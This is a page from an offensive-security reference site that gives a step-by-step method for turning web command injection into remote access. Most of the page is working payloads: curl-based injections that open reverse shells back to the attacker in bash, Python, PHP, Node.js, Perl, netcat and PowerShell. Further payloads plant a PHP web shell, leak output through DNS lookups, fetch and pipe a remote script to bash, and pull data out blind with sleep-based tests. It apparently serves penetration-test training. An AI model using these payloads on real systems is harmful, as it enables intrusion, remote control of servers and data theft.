# Command Injection Exploitation

> Exploit command injection vulnerabilities in web apps via HTTP/HTTPS, covering payload crafting, bypass techniques, and OS command execution through user-supplied input.

- **URL:** https://hackindex.io/services/web/exploitation/command-injection
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Command injection exploitation turns a confirmed injection point into interactive access on the target. Start with [command injection detection](https://hackindex.io/services/web/vulnerability-discovery/command-injection-detection) to confirm the vulnerability exists, then use the techniques below to move from confirmed execution to a reverse shell. If input filters block your payloads, see [command injection bypasses](https://hackindex.io/services/web/exploitation/command-injection-bypasses) for filter evasion techniques. The approach depends on whether you see command output in the response (inline injection) or not (blind injection), and whether the target has outbound network connectivity.

## Confirming Execution

Before deploying a reverse shell, confirm that commands actually execute. If the application returns command output in the response, inject `id` or `whoami` and verify the result. For blind injection where no output is visible, use time-based confirmation or out-of-band callbacks.

**Time-based confirmation (Linux)**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;sleep+5"
```

**Time-based confirmation (Windows)**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1%26+ping+-n+5+127.0.0.1"
```

If the response takes approximately 5 seconds longer than normal, the `sleep` or `ping` command executed. For out-of-band confirmation, use `curl` or `wget` to call back to your listener. This confirms execution and also verifies outbound connectivity for reverse shell delivery.

**Start a listener for OOB confirmation**

```bash
python3 -m http.server 8888
```

**Trigger OOB callback**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;curl+http://$LHOST:8888/confirm"
```

A hit on your HTTP server for `/confirm` proves execution and outbound HTTP connectivity. If DNS is the only outbound channel, use a DNS callback instead: `nslookup confirm.$LHOST` or `host confirm.$LHOST` and watch for the resolution on your DNS server or a tool like interactsh.

## Choosing a Reverse Shell

Match the reverse shell to interpreters available on the target. Check what exists by injecting `which bash python3 python php perl nc ncat node` through the injection point (if inline output is available) or by testing each shell one at a time until a connection arrives. Start your listener before sending the payload.

**Start nc listener**

```bash
nc -lvnp $LPORT
# listening on [any] 4444 ...
```

**Bash** is the most common reverse shell on Linux targets. Available on virtually every Linux system.

**Bash reverse shell**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261"
```

**Python** works on targets with Python installed. Common on Linux servers and many web application containers.

**Python reverse shell**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;python3+-c+'import+socket,subprocess,os;s=socket.socket();s.connect((\"$LHOST\",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
```

**PHP** is available on targets running PHP-based applications. Use `php -r` for inline execution.

**PHP reverse shell**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;php+-r+'\$sock=fsockopen(\"$LHOST\",$LPORT);exec(\"/bin/sh+-i+<&3+>&3+2>&3\");'"
```

**Node.js** is specifically covered in WEB-200 and common on targets running Express, Next.js, or other Node-based applications.

**Node.js reverse shell**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;node+-e+'require(\"child_process\").exec(\"bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261\")'"
```

**Perl** is present on many legacy Linux systems and some embedded devices.

**Perl reverse shell**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;perl+-e+'use+Socket;\$i=\"$LHOST\";\$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/bin/sh+-i\");'"
```

**Netcat** with `-e` flag works on systems with the traditional netcat build. The OpenBSD variant on modern systems does not support `-e`, so use a named pipe alternative instead.

**Netcat reverse shell (traditional)**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;nc+$LHOST+$LPORT+-e+/bin/sh"
```

**Netcat named pipe (OpenBSD nc)**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+$LHOST+$LPORT+>/tmp/f"
```

**PowerShell** for Windows targets. URL-encode the payload when injecting through HTTP parameters.

**Generate PowerShell base64 payload**

```bash
PAYLOAD="\$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"
echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w 0
```

## No Outbound TCP

When the target has no outbound TCP connectivity (egress filtering, firewall rules), reverse shells fail. Alternative approaches depend on what outbound channels are available.

**Stage through HTTP:** If the injection point's response reflects command output, use the injection itself as your data channel. Run commands one at a time and read results from the response. If you can write files to the webroot, stage a web shell through the injection and interact through HTTP requests instead of a TCP shell.

**Write a web shell via command injection**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;echo+'<?php+system(\$_GET["cmd"]);?>'+>+/var/www/html/cmd.php"
```

**Use the web shell**

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

**DNS exfiltration:** When only DNS is allowed outbound, encode command output in DNS queries. Each query carries a limited payload, so this is slow but works when all other channels are blocked.

**DNS exfiltration of command output**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;nslookup+\$(whoami).$LHOST"
```

Watch your DNS server or interactsh listener for the resolution. The subdomain contains the command output. For multi-line output, base64 encode and split across multiple queries. If `curl` or `wget` is available on the target but TCP reverse shells are blocked, download a script from your HTTP server and execute it. This also works for staging larger payloads when the injection character limit is tight.

**Stage and execute a script**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;curl+http://$LHOST:8888/shell.sh|bash"
```

## Blind Command Injection to Interactive

When no output is reflected in the response and outbound connectivity exists, skip the enumeration phase and send a reverse shell directly. If you are unsure which interpreters exist, try each shell one-liner in sequence until a connection arrives on your listener.

When you have blind injection but no outbound connectivity, use the time-based boolean technique to extract information character by character. Compare each character of the command output against a known value using conditional sleep.

**Boolean-based blind extraction**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;if+[+\$(whoami|cut+-c1)+%3d+'w'+];then+sleep+5;fi"
```

A 5-second delay means the first character of the username is `w`. Increment the `cut -c` position to extract subsequent characters. This is tedious manually but scriptable. Another option for blind injection: write command output to a file in the webroot and read it through HTTP.

**Write output to webroot**

```bash
curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;id+>+/var/www/html/output.txt"
```

**Retrieve the output**

```bash
curl -sk "http://$TARGET_IP:$PORT/output.txt"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Upgrading Shells

Raw reverse shells lack tab completion, history, and proper terminal handling. Ctrl+C kills the shell instead of the running process. Upgrade to a fully interactive PTY to fix this. The standard Python PTY upgrade works on any target with Python installed.

**Python PTY upgrade (run on target shell)**

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

After spawning the PTY, background the shell with Ctrl+Z, configure your local terminal, then foreground the shell.

**Full TTY stabilization (on attacker machine)**

```bash
stty raw -echo; fg
```

Then set the terminal type and dimensions on the target shell.

**Set terminal environment (run on target shell)**

```bash
export TERM=xterm
stty rows 40 cols 160
```

This gives you a fully interactive shell with tab completion, arrow keys, and Ctrl+C working as expected. If Python is not available, try `script /dev/null -c bash` as an alternative PTY spawn. For a more advanced approach, `socat` provides encrypted and fully interactive reverse shells when installed on both ends.

## References

- [PayloadsAllTheThings: Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - Comprehensive reverse shell one-liners for multiple languages.
- [OWASP: Command Injection](https://owasp.org/www-community/attacks/Command_Injection) - Command injection patterns and prevention.
- [revshells.com](https://www.revshells.com/) - Generator for reverse shell payloads with encoding options.
